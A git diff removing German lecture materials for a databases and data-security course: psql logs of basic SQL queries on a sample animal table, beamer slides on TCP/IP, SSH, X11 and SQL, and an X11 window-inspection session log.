tierart, count(*) FROM tier GROUP by Tierart; - tierart | count ---------------------------------+------- - Spinne | 2 - Hund | 1 - Katze | 1 -(3 Zeilen) - -testdb=# diff --git a/20231109/dbms-11.txt b/20231109/dbms-11.txt deleted file mode 100644 index ad3d007d676dcd95d5937fdf65bd0f1c8cfb1d69..0000000000000000000000000000000000000000 --- a/20231109/dbms-11.txt +++ /dev/null @@ -1,43 +0,0 @@ -testdb=# INSERT INTO tier ( name, tierart ) VALUES ( 'Ragnar', 'Katze' ); -INSERT 0 1 -testdb=# INSERT INTO tier ( name, tierart ) VALUES ( 'Putzi', 'Ratte' ); -INSERT 0 1 -testdb=# SELECT * FROM tier; - name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | 1 - Timmy | Hund | 2 - Dio | Katze | 3 - Tusnelda | Spinne | 4 - Ragnar | Katze | - Putzi | Ratte | -(6 Zeilen) - -testdb=# select tierart, count(tierart) FROM tier GROUP by Tierart; - tierart | count ---------------------------------+------- - Spinne | 2 - Hund | 1 - Ratte | 1 - Katze | 2 -(4 Zeilen) - -testdb=# select tierart, count(id) FROM tier GROUP by Tierart; - tierart | count ---------------------------------+------- - Spinne | 2 - Hund | 1 - Ratte | 0 - Katze | 1 -(4 Zeilen) - -testdb=# select tierart, count(*) FROM tier GROUP by Tierart; - tierart | count ---------------------------------+------- - Spinne | 2 - Hund | 1 - Ratte | 1 - Katze | 2 -(4 Zeilen) - -testdb=# diff --git a/20231109/dbms-12.txt b/20231109/dbms-12.txt deleted file mode 100644 index ec1bf80d82bce66a5d61127102e2bca9f9ff299e..0000000000000000000000000000000000000000 --- a/20231109/dbms-12.txt +++ /dev/null @@ -1,46 +0,0 @@ -testdb=# SELECT tierart, COUNT(*) FROM tier GROUP by tierart; - tierart | count ---------------------------------+------- - Spinne | 2 - Hund | 1 - Ratte | 1 - Katze | 2 -(4 Zeilen) - -testdb=# SELECT tierart, COUNT(id) FROM tier GROUP by tierart; - tierart | count ---------------------------------+------- - Spinne | 2 - Hund | 1 - Ratte | 0 - Katze | 1 -(4 Zeilen) - -testdb=# SELECT tierart, MAX(id) FROM tier GROUP by tierart; - tierart | max ---------------------------------+----- - Spinne | 4 - Hund | 2 - Ratte | - Katze | 3 -(4 Zeilen) - -testdb=# SELECT tierart, MAX(id) FROM tier GROUP BY tierart; - tierart | max ---------------------------------+----- - Spinne | 4 - Hund | 2 - Ratte | - Katze | 3 -(4 Zeilen) - -testdb=# SELECT tierart, SUM(id) FROM tier GROUP BY tierart; - tierart | sum ---------------------------------+----- - Spinne | 5 - Hund | 2 - Ratte | - Katze | 3 -(4 Zeilen) - -testdb=# diff --git a/20231109/dbs-20231109.pdf b/20231109/dbs-20231109.pdf deleted file mode 100644 index 85f5b91ab900ac5002298cfcf4895b38bc286cb0..0000000000000000000000000000000000000000 Binary files a/20231109/dbs-20231109.pdf and /dev/null differ diff --git a/20231109/dbs-20231109.tex b/20231109/dbs-20231109.tex deleted file mode 100644 index 66a7231e499354aa2fa5cd0634bb10545c0275fd..0000000000000000000000000000000000000000 --- a/20231109/dbs-20231109.tex +++ /dev/null @@ -1,341 +0,0 @@ -% dbs-20231109.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Kurzeinführung TCP/IP: X11; Relationale Datenbanken: Einführung in SQL - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{tikz} -\usepackage{rotating} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{9.\ November 2023} - -\definecolor{ethernet}{rgb}{0.95,0.95,0.95} -\definecolor{ip}{rgb}{0.85,0.85,1.0} -\definecolor{tcp}{rgb}{0.925,1.0,0.925} -\definecolor{data}{rgb}{1.0,0.85,0.85} - -\newcommand{\bitno}[1]{% - \begin{picture}(1,1) - \scriptsize - \put(0,0){\line(1,0){1}} - \put(0,0){\line(0,1){1}} - \put(0,1){\line(1,0){1}} - \put(1,0){\line(0,1){1}} - \put(0.5,0.5){\makebox(0,0){#1}} - \end{picture}} -\newcommand{\byteno}[1]{% - \begin{picture}(2,1) - \scriptsize - \put(0,0){\line(1,0){2}} - \put(0,0){\line(0,1){1}} - \put(0,1){\line(1,0){2}} - \put(2,0){\line(0,1){1}} - \put(1,0.5){\makebox(0,0){#1}} - \end{picture}} -\newcommand{\vbitno}[1]{% - \begin{picture}(2,3) - \scriptsize - \put(0,0){\line(1,0){2}} - \put(0,0){\line(0,1){3}} - \put(0,3){\line(1,0){2}} -% \put(2,0){\line(0,1){3}} - \put(1.6,1.5){\makebox(0,0)[r]{#1}} - \end{picture}} -\newcommand{\vqbitno}[1]{% - \begin{picture}(2,11.875) % ??? - \scriptsize - \put(0,0){\line(1,0){2}} - \put(0,0){\line(0,1){12}} - \put(0,12){\line(1,0){2}} -% \put(2,0){\line(0,1){12}} - \put(1.6,10.5){\makebox(0,0)[r]{#1}} - \end{picture}} -\newcommand{\genericbitbox}[5]{% - \begin{picture}(#1,3) - \footnotesize - \def\testl{#3} - \def\testr{#4} - \ifx\testl\testr - \put(0,0){\color{#3}\rule{#1\unitlength}{3\unitlength}} - \else - \put(0,0.0){\color{#3}\rule{#1\unitlength}{0.5\unitlength}} - \put(0,0.5){\color{#4}\rule{#1\unitlength}{2\unitlength}} - \put(0,2.5){\color{#3}\rule{#1\unitlength}{0.5\unitlength}} - \put(0,0){\color{#3}\rule{0.5\unitlength}{3\unitlength}} - \put(#1,0){\color{#3}\makebox(0,0)[br]{\rule{0.5\unitlength}{3\unitlength}}} - \fi - \put(0,0){\line(1,0){#1}} - \put(0,3){\line(1,0){#1}} - \def\testl{flex} - \def\testr{#5} - \ifx\testl\testr - \put(0,0){\line(0,1){1.2}} - \put(#1,0){\line(0,1){1.2}} - \put(0,3){\line(0,-1){1.2}} - \put(#1,3){\line(0,-1){1.2}} - \put(0,1.0){\makebox(0,0){\large\char126}} - \put(0,1.6){\makebox(0,0){\large\char126}} - \put(#1,1.0){\makebox(0,0){\large\char126}} - \put(#1,1.6){\makebox(0,0){\large\char126}} - \else - \put(0,0){\line(0,1){3}} - \put(#1,0){\line(0,1){3}} - \fi - \put(0,1.5){\makebox(0,0)[l]{\hbox to #1\unitlength{\hss#2\hss}}} - \end{picture}} -\newcommand{\bitbox}[2]{\genericbitbox{#1}{#2}{\headercolor}{\headercolor}{normal}} -\newcommand{\flexbitbox}[2]{\genericbitbox{#1}{#2}{\headercolor}{\headercolor}{flex}} -\newcommand{\databitbox}[2]{\genericbitbox{#1}{#2}{\headercolor}{\datacolor}{flex}} -\newcommand{\qbitbox}[2]{% - \begin{picture}(#1,11.875) % ??? - \footnotesize - \put(0,0){\color{\headercolor}\rule{#1\unitlength}{12\unitlength}} - \put(0,0){\line(1,0){#1}} - \put(0,12){\line(1,0){#1}} - \put(0,0){\line(0,1){12}} - \put(#1,0){\line(0,1){12}} - \put(0,6){\makebox(0,0)[l]{\hbox to #1\unitlength{\hss#2\hss}}} - \end{picture}} -\newcommand{\emptybox}[3]{% - \begin{picture}(#1,#2) - \put(0,#2){\makebox(0,0)[tl]{\footnotesize #3}} - \end{picture}} -\newcommand{\headerbox}[1]{\emptybox{2}{1}{#1}} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \begin{itemize} - \item[3.1] IP-Adressen - \item[3.2] MAC-Adressen - \item[3.3] TCP- und UDP-Ports - \color{medgreen} - \item[3.4] TCP-Protokolle - \item[3.5] Routing - \item[3.6] Netzwerkanalyse - \item[3.7] SSH - \color{red} - \item[3.8] X11 - \end{itemize} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\setcounter{section}{2} -\section{Kurzeinführung TCP/IP} -\setcounter{subsection}{3} -\subsection{TCP-Protokolle} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \textbf{SMTP}\\ - \lstinline[style=cmd]{HELO cassini}\\ - \lstinline[style=cmd]{MAIL FROM: <example@example.com>}\\ - \lstinline[style=cmd]{RCPT TO: <beispiel@example.de>}\\ - \lstinline[style=cmd]{DATA}\\ - (E-Mail-Header -- Teil der Nutzdaten)\\ - \lstinline[style=cmd]{From: Eddie Example <example@example.com>}\\ - \lstinline[style=cmd]{To: Bert Beispiel <beispiel@example.de>}\\ - \lstinline[style=cmd]{Subject: Hello, world!}\\ - (Leerzeile)\\ - \lstinline[style=cmd]{Hi, there!}\\ - \lstinline[style=cmd]{.} -% \pause - \smallskip - \item - \textbf{HTTP}\\ - \lstinline[style=cmd]{GET / HTTP/1.1}\\ - \lstinline[style=cmd]{Host: www.hs-bochum.de}\\ - (Leerzeile) -% \begin{onlyenv}<2> - \par\medskip -% URL: Schema://Benutzer:Passwort@Rechner:port/Pfad?Query\#Fragment -% \end{onlyenv} -% \pause - \medskip - \item - Protokolle "`mal eben"' selbst schreiben: - \lstinline[style=cmd]{nc -c} oder \file{inetd} - \end{itemize} - -\end{frame} - -\subsection{Routing} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{ip route} (Linux)\\ - \lstinline[style=cmd]{route} (MS-Windows, Unix)\\ - \lstinline[style=cmd]{netstat -nr} (MacOS) -% \\[\medskipamount] -% \includegraphics[width=11cm]{../20171026/photo-20171026-162455.jpg} - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - # route -n - Kernel-IP-Routentabelle - Ziel Router Genmask [...] Iface - 0.0.0.0 192.168.42.1 0.0.0.0 [...] wlan0 - 169.254.0.0 0.0.0.0 255.255.0.0 [...] wlan0 - 192.168.42.0 0.0.0.0 255.255.255.0 [...] wlan0 - \end{lstlisting} - - \bigskip - - Netzmaske:\\ - Wenn nach Und-Verknüpfung mit IP-Adresse gleich, - \textarrow\ im gleichen Netz - - \medskip - - \lstinline[style=terminal]{255.255.240.0} ist dasselbe wie - \lstinline[style=terminal]{/20}\\ - (20 Bit sind 1; die restlichen 12 Bit sind 0) - -\end{frame} - -\subsection{Netzwerkanalyse} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{tcpdump} - \item - \lstinline[style=cmd]{wireshark} - \item - \lstinline[style=cmd]{ettercap} - \end{itemize} - -\end{frame} - -\subsection{SSH} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{SSH <Rechner>} - \item - \lstinline[style=cmd]{-C}: Komprimierung - \item - \lstinline[style=cmd]{-L}: lokalen Port auf Remote-Port umleiten - \item - \lstinline[style=cmd]{-R}: Remote-Port auf lokalen Port umleiten - \end{itemize} - -\end{frame} - -\subsection{X11} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Grafik-Bildschirm und Eingabegeräte über's Netz - \item - \lstinline[style=cmd]{DISPLAY}-Variable: X-Server: Rechner und Bildschirm - \item - \lstinline[style=cmd]{ssh -X}: X11-Forwarding - \end{itemize} - -\end{frame} - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \begin{itemize} - \item[3.1] IP-Adressen - \item[3.2] MAC-Adressen - \item[3.3] TCP- und UDP-Ports - \color{medgreen} - \item[3.4] TCP-Protokolle - \item[3.5] Routing - \item[3.6] Netzwerkanalyse - \item[3.7] SSH - \item[3.8] X11 - \end{itemize} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\end{document} diff --git a/20231109/logo-hochschule-bochum-cvh-text-v2.pdf b/20231109/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20231109/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20231109/logo-hochschule-bochum.pdf b/20231109/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20231109/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20231109/pgslides.sty b/20231109/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20231109/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20231109/x11-01.txt b/20231109/x11-01.txt deleted file mode 100644 index 25cc2ee9de67e9faa898abbad8632b17866abf9f..0000000000000000000000000000000000000000 --- a/20231109/x11-01.txt +++ /dev/null @@ -1,76 +0,0 @@ -root@streaming:~# su - pult -pult@streaming:~$ ls -l -insgesamt 8208 --rw-r--r-- 1 pult pult 1728 8. Jan 2021 bash-settings.pg --rw-r--r-- 1 pult pult 1737 5. Jan 2021 emergency-mirror.py --rw-rw-r-- 1 pult pult 287 14. Sep 2006 empty.xbm --rw-rw-r-- 1 pult pult 284 14. Sep 2006 full.xbm --rw-r--r-- 1 pult pult 8297579 28. Okt 2021 screenshot-vnc6.xwd -drwxr-xr-x 6 pult pult 4096 2. Jun 13:34 vnc1 -drwxr-xr-x 3 pult pult 4096 30. Mär 2021 vnc15 -drwxr-xr-x 8 pult pult 4096 2. Jun 13:34 vnc2 -drwxr-xr-x 8 pult pult 4096 2. Jun 13:34 vnc3 -drwxr-xr-x 8 pult pult 4096 2. Jun 13:34 vnc4 -drwxr-xr-x 7 pult pult 4096 3. Jun 22:07 vnc5 -drwxr-xr-x 8 pult pult 4096 3. Jun 22:07 vnc6 -drwxr-xr-x 3 pult pult 4096 14. Jun 2021 vnc7 --rw-r--r-- 1 pult pult 55498 3. Apr 2020 vnc-testbild.pdf -pult@streaming:~$ cd vnc6 -pult@streaming:~/vnc6$ HOME=/home/pult/vnc6 DISPLAY=:6 xteddy -^C -pult@streaming:~/vnc6$ HOME=/home/pult/vnc6 DISPLAY=:6 xwininfo -root - -xwininfo: Window id: 0x51a (the root window) (has no name) - - Absolute upper-left X: 0 - Absolute upper-left Y: 0 - Relative upper-left X: 0 - Relative upper-left Y: 0 - Width: 1920 - Height: 1080 - Depth: 24 - Visual: 0x21 - Visual Class: TrueColor - Border width: 0 - Class: InputOutput - Colormap: 0x20 (installed) - Bit Gravity State: ForgetGravity - Window Gravity State: NorthWestGravity - Backing Store State: NotUseful - Save Under State: no - Map State: IsViewable - Override Redirect State: no - Corners: +0+0 -0+0 -0-0 +0-0 - -geometry 1920x1080+0+0 - -pult@streaming:~/vnc6$ HOME=/home/pult/vnc6 DISPLAY=:6 xwininfo -root -children - -xwininfo: Window id: 0x51a (the root window) (has no name) - - Root window id: 0x51a (the root window) (has no name) - Parent window id: 0x0 (none) - 20 children: - 0x1200088 (has no name): ("ssvncviewer" "Ssvnc") 1920x1080+0+0 +0+0 - 0x1200081 "chat": ("chat" "Ssvnc") 410x359+0+0 +0+0 - 0x20012a "Xpdf: /home/pult/vnc6/vnc-testbild.pdf": ("win" "Xpdf") 1920x1080+0+0 +0+0 - 0x14009ba "Pan Icon": ("display-im6.q16" "Display-im6.q16") 96x72+960+960 +960+960 - 0x14008c4 "Magnify 3X": ("display-im6.q16" "Display-im6.q16") 256x256+960+960 +960+960 - 0x14007c5 (has no name): ("display-im6.q16" "Display-im6.q16") 1x1+960+960 +960+960 - 0x14006cb (has no name): ("display-im6.q16" "Display-im6.q16") 1x1+960+960 +960+960 - 0x14005d1 "Commands": ("display-im6.q16" "Display-im6.q16") 134x410+960+670 +960+670 - 0x14003df "janus-1 Camera 0": ("display-im6.q16" "Display-im6.q16") 1440x1080+960+960 +960+960 - 0x14001f3 (has no name): ("display-im6.q16" "Display-im6.q16") 96x72+960+960 +960+960 - 0x6007eb (has no name): () 1x1+3+2 +3+2 - 0x5b9 (has no name): () 100x100+0+0 +0+0 - 0x20013f "Xpdf: Print": ("printDialog_popup" "Xpdf") 5x5+0+0 +0+0 - 0x20013e "Xpdf: Find": ("findDialog_popup" "Xpdf") 5x5+0+0 +0+0 - 0x200130 "Xpdf: About": ("aboutDialog_popup" "Xpdf") 450x300+0+0 +0+0 - 0x200116 (has no name): () 5x5+0+0 +0+0 - 0x20010e "Xpdf: Password": ("passwordDialog_popup" "Xpdf") 5x5+0+0 +0+0 - 0x400001 (has no name): () 10x10+-100+-100 +-100+-100 - 0x200002 (has no name): () 1x1+0+0 +0+0 - 0x200001 "xpdf.real": ("xpdf.real" "Xpdf") 1x1+0+0 +0+0 - -pult@streaming:~/vnc6$ HOME=/home/pult/vnc6 DISPLAY=:6 xdotool windowraise 0x20012a -pult@streaming:~/vnc6$ HOME=/home/pult/vnc6 DISPLAY=:6 xdotool windowraise 0x1200088 -pult@streaming:~/vnc6$ diff --git a/20231116/Zeichen_123.pdf b/20231116/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20231116/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20231116/dbms-13.txt b/20231116/dbms-13.txt deleted file mode 100644 index 9e740d9c8631e40541aa5598751427a9a03f3524..0000000000000000000000000000000000000000 --- a/20231116/dbms-13.txt +++ /dev/null @@ -1,19 +0,0 @@ -testdb=> INSERT INTO tier SET name = 'Pluto', tierart = 'Hund', id = 31; -FEHLER: Syntaxfehler bei »SET« -ZEILE 1: INSERT INTO tier SET name = 'Pluto', tierart = 'Hund', id = ... - ^ -testdb=> INSERT INTO tier ( id, name, tierart ) VALUES ( 31, 'Pluto', 'Hund' ); -INSERT 0 1 -testdb=> SELECT * FROM tier; name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | 1 - Timmy | Hund | 2 - Dio | Katze | 3 - Tusnelda | Spinne | 4 - Ragnar | Katze | - Putzi | Ratte | - Micky | Mouse | 30 - Pluto | Hund | 31 -(8 Zeilen) - -testdb=> diff --git a/20231116/dbms-14.txt b/20231116/dbms-14.txt deleted file mode 100644 index 2a64f6f5e09aa2eb6c37222f4161966551009458..0000000000000000000000000000000000000000 --- a/20231116/dbms-14.txt +++ /dev/null @@ -1,26 +0,0 @@ -testdb=> SELECT * FROM tier; name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | 1 - Timmy | Hund | 2 - Dio | Katze | 3 - Tusnelda | Spinne | 4 - Ragnar | Katze | - Putzi | Ratte | - Micky | Mouse | 30 - Pluto | Hund | 31 -(8 Zeilen) - -testdb=> DELETE FROM tier WHERE id >= 30; -DELETE 2 -testdb=> SELECT * FROM tier; - name | tierart | id ---------------------------------+--------------------------------+---- - Esmeralda | Spinne | 1 - Timmy | Hund | 2 - Dio | Katze | 3 - Tusnelda | Spinne | 4 - Ragnar | Katze | - Putzi | Ratte | -(6 Zeilen) - -testdb=> diff --git a/20231116/dbms-15.txt b/20231116/dbms-15.txt deleted file mode 100644 index 8e4ec5a23381e533962b949f1955669a09dfdf07..0000000000000000000000000000000000000000 --- a/20231116/dbms-15.txt +++ /dev/null @@ -1,43 +0,0 @@ -testdb=> SELECT * FROM tier WHERE tierart = 'Katze'; - name | tierart | id ---------------------------------+--------------------------------+---- - Dio | Katze | 3 - Ragnar | Katze | -(2 Zeilen) - -testdb=> SELECT * FROM tier WHERE tierart = '%atze'; - name | tierart | id -------+---------+---- -(0 Zeilen) - -testdb=> SELECT * FROM tier WHERE tierart = '%at%'; - name | tierart | id -------+---------+---- -(0 Zeilen) - -testdb=> SELECT * FROM tier WHERE tierart LIKE '%atze'; - name | tierart | id -------+---------+---- -(0 Zeilen) - -testdb=> SELECT * FROM tier WHERE tierart LIKE '%at%'; - name | tierart | id ---------------------------------+--------------------------------+---- - Dio | Katze | 3 - Ragnar | Katze | - Putzi | Ratte | -(3 Zeilen) - -testdb=> SELECT * FROM tier WHERE tierart LIKE '%%atze'; - name | tierart | id -------+---------+---- -(0 Zeilen) - -testdb=> SELECT * FROM tier WHERE tierart LIKE '%%atze%'; - name | tierart | id ---------------------------------+--------------------------------+---- - Dio | Katze | 3 - Ragnar | Katze | -(2 Zeilen) - -testdb=> diff --git a/20231116/dbms-16.txt b/20231116/dbms-16.txt deleted file mode 100644 index 1a91a6699fd15104c1900a779a3852a4e81eb90f..0000000000000000000000000000000000000000 --- a/20231116/dbms-16.txt +++ /dev/null @@ -1,13 +0,0 @@ -testdb=> SELECT COUNT(*) FROM tier WHERE tierart = 'Katze'; - count -------- - 2 -(1 Zeile) - -testdb=> SELECT COUNT(id) FROM tier WHERE tierart = 'Katze'; - count -------- - 1 -(1 Zeile) - -testdb=> diff --git a/20231116/dbms-17.txt b/20231116/dbms-17.txt deleted file mode 100644 index f47738b4dfb396289175c108f566e1b6a2074e35..0000000000000000000000000000000000000000 --- a/20231116/dbms-17.txt +++ /dev/null @@ -1,23 +0,0 @@ -testdb=> SELECT COUNT(*) FROM tier GROUP BY tierart; - count -------- - 2 - 1 - 1 - 2 -(4 Zeilen) - -testdb=> SELECT *, COUNT(*) FROM tier GROUP BY tierart; -FEHLER: Spalte »tier.name« muss in der GROUP-BY-Klausel erscheinen oder in einer Aggregatfunktion verwendet werden -ZEILE 1: SELECT *, COUNT(*) FROM tier GROUP BY tierart; - ^ -testdb=> SELECT tierart, COUNT(*) FROM tier GROUP BY tierart; - tierart | count ---------------------------------+------- - Spinne | 2 - Hund | 1 - Ratte | 1 - Katze | 2 -(4 Zeilen) - -testdb=> diff --git a/20231116/dbs-20231116.pdf b/20231116/dbs-20231116.pdf deleted file mode 100644 index 5e6452232b5f5c3c91d2ae2bd3f5934ae26ee8e9..0000000000000000000000000000000000000000 Binary files a/20231116/dbs-20231116.pdf and /dev/null differ diff --git a/20231116/dbs-20231116.tex b/20231116/dbs-20231116.tex deleted file mode 100644 index d56535d54f0cdaea0a3704dbb0cf0a2e9d5c259d..0000000000000000000000000000000000000000 --- a/20231116/dbs-20231116.tex +++ /dev/null @@ -1,344 +0,0 @@ -% dbs-20231116.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Relationale Datenbanken: Normalformen, Verknüpfungen von Tabellen - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{16.\ November 2023} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \begin{itemize} - \vspace*{-\smallskipamount} - \item[\dots] - \item[3.5] Routing - \item[3.6] Netzwerkanalyse - \item[3.7] SSH - \color{medgreen} - \item[3.8] X11 - \end{itemize} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \begin{itemize} - \color{medgreen} - \item[4.1] Einführung in DBMS - \item[4.2] Einführung in SQL - \color{red} - \item[4.3] Normalformen - \item[4.4] Verknüpfungen von Tabellen - \item[\dots] - \end{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\setcounter{section}{2} -\section{Kurzeinführung TCP/IP} -\setcounter{subsection}{7} -\subsection{X11} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Grafik-Bildschirm und Eingabegeräte über's Netz - \item - \lstinline[style=cmd]{DISPLAY}-Variable: X-Server: Rechner und Bildschirm - \item - \lstinline[style=cmd]{ssh -X}: X11-Forwarding - \end{itemize} - -\end{frame} - -\section{Relationale Datenbanken} -\subsection{Einführung in DBMS} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - Datenbank-Management-System (DBMS): z.\,B.\ PostgreSQL - \begin{itemize} - \item Datenbanken "`von außen"' verwalten (z.\,B.\ auflisten) - \item Schnittstelle für Zugriff auf Datenbank - \item \textbf{in hohem Maße herstellerspezifisch} - \end{itemize} - - \bigskip - - \begin{onlyenv}<1> - \footnotesize - \begin{lstlisting}[style=terminal,gobble=6] - root@cassini:~# ¡su - postgres¿ - postgres@cassini:~$ ¡psql¿ - psql (15.3 (Debian 15.3-0+deb12u1)) - Geben Sie »help« für Hilfe ein. - - postgres=# ¡help¿ - Dies ist psql, die Kommandozeilenschnittstelle für PostgreSQL. - Geben Sie ein: \copyright für Urheberrechtsinformationen - \h für Hilfe über SQL-Anweisungen - \? für Hilfe über interne Anweisungen - \g oder Semikolon, um eine Anfrage auszuführen - \q um zu beenden - postgres=# - \end{lstlisting} - \vspace*{-3cm} - \end{onlyenv} - - \begin{onlyenv}<2> - \footnotesize - \begin{lstlisting}[style=terminal,gobble=6] - postgres=# ¡\?¿ - Allgemein - \copyright PostgreSQL-Urheberrechtsinformationen zeigen - \crosstabview [SPALTEN] Anfrage ausführen und Ergebnis als Kreuztabelle - anzeigen - \errverbose letzte Fehlermeldung mit vollen Details anzeigen - \g [(OPT)] [DATEI] SQL-Anweisung ausführen (und Ergebnis in Datei - oder |Pipe schreiben); ... - ... ... - \q psql beenden - ... ... - - postgres=# - \end{lstlisting} - \vspace*{-3cm} - \end{onlyenv} - - \begin{onlyenv}<3> - \footnotesize - \begin{lstlisting}[style=terminal,gobble=6] - postgres=# ¡\l¿ - Liste der Datenbanken - Name | Eigentümer | Kodierung | Sortierfolge | Zeichentyp | - -----------+------------+-----------+--------------+-------------+- ··· - postgres | postgres | UTF8 | de_DE.UTF-8 | de_DE.UTF-8 | - template0 | postgres | UTF8 | de_DE.UTF-8 | de_DE.UTF-8 | - | | | | | - template1 | postgres | UTF8 | de_DE.UTF-8 | de_DE.UTF-8 | - | | | | | ... - (3 Zeilen) - - postgres=# - \end{lstlisting} - \vspace*{-3cm} - \end{onlyenv} - -\end{frame} - -\subsection{Einführung in SQL} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - Datenbank-Abfragesprache: Structured Query Language (SQL) - \begin{itemize} - \item Datenbanken "`von innen"' verwalten, z.\,B.\ anlegen und wieder löschen - \item Daten in der Datenbank bearbeiten - \item \textbf{in hohem Maße standardisiert} - \end{itemize} - - \bigskip - - \begin{onlyenv}<1> - \footnotesize - \begin{lstlisting}[style=terminal,gobble=6] - postgres=# ¡create database testdb;¿ - CREATE DATABASE - postgres=# ¡create user dbs with password '####';¿ - CREATE ROLE - postgres=# ¡GRANT ALL ON DATABASE testdb TO dbs;¿ - GRANT - postgres=# ¡\q¿ - postgres@cassini:~$ - \end{lstlisting} - \vspace*{-3cm} - \end{onlyenv} - - \begin{onlyenv}<2> - \footnotesize - \begin{lstlisting}[style=terminal,gobble=6] - $ ¡psql -h localhost -U dbs -W testdb¿ - 